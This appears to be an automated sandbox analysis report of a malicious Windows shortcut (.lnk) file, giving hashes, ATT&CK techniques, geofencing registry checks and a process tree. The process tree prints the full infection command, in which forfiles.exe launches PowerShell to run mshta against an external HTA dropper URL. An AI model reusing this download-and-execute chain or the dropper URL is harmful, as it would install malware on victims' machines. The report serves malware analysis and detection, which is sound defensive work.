de6e38a80f7e9495c3ea1c7a6cdd9313d324535d56351a2ab0cc444b69733136

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
03/07/2024, 03:00

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General

Target

4eccb7813cee8c8039424aebf69f4269d4a6c2c72d81a001254bcdce80034555.lnk
Size

1KB
MD5

ab66e11145483ed8a355f966ad8916a3
SHA1

4e21d3a3602419efcb61a5f3ae7742a356b0e43f
SHA256

4eccb7813cee8c8039424aebf69f4269d4a6c2c72d81a001254bcdce80034555
SHA512

35f97ddc1c45692b95e224a370af346c13c76a53d28e52a03eb9ffff0b49092a9a14d0948d35b05e30ff67e76d1fa33d2d0101c9d28d1484cf94cc01a4f3678d

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://21centuryart.com/arc/msncjsudh

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1900	powershell.exe
1900	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1900	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1508 wrote to memory of 4620	1508	cmd.exe	83
PID 1508 wrote to memory of 4620	1508	cmd.exe	83
PID 4620 wrote to memory of 1900	4620	forfiles.exe	84
PID 4620 wrote to memory of 1900	4620	forfiles.exe	84
PID 1900 wrote to memory of 1396	1900	powershell.exe	85
PID 1900 wrote to memory of 1396	1900	powershell.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\4eccb7813cee8c8039424aebf69f4269d4a6c2c72d81a001254bcdce80034555.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1508
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows /m win.ini /c "powershell . mshta https://21centuryart.com/arc/msncjsudh"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    . mshta https://21centuryart.com/arc/msncjsudh
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" https://21centuryart.com/arc/msncjsudh
      4⤵
      PID:1396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lvaene0u.akw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1900-0-0x00007FF94A5B3000-0x00007FF94A5B5000-memory.dmp

Filesize
8KB

Download
memory/1900-7-0x00000275C74B0000-0x00000275C74D2000-memory.dmp

Filesize
136KB

Download
memory/1900-11-0x00007FF94A5B0000-0x00007FF94B071000-memory.dmp

Filesize
10.8MB

Download
memory/1900-12-0x00007FF94A5B0000-0x00007FF94B071000-memory.dmp

Filesize
10.8MB

Download
memory/1900-15-0x00007FF94A5B0000-0x00007FF94B071000-memory.dmp

Filesize
10.8MB

Download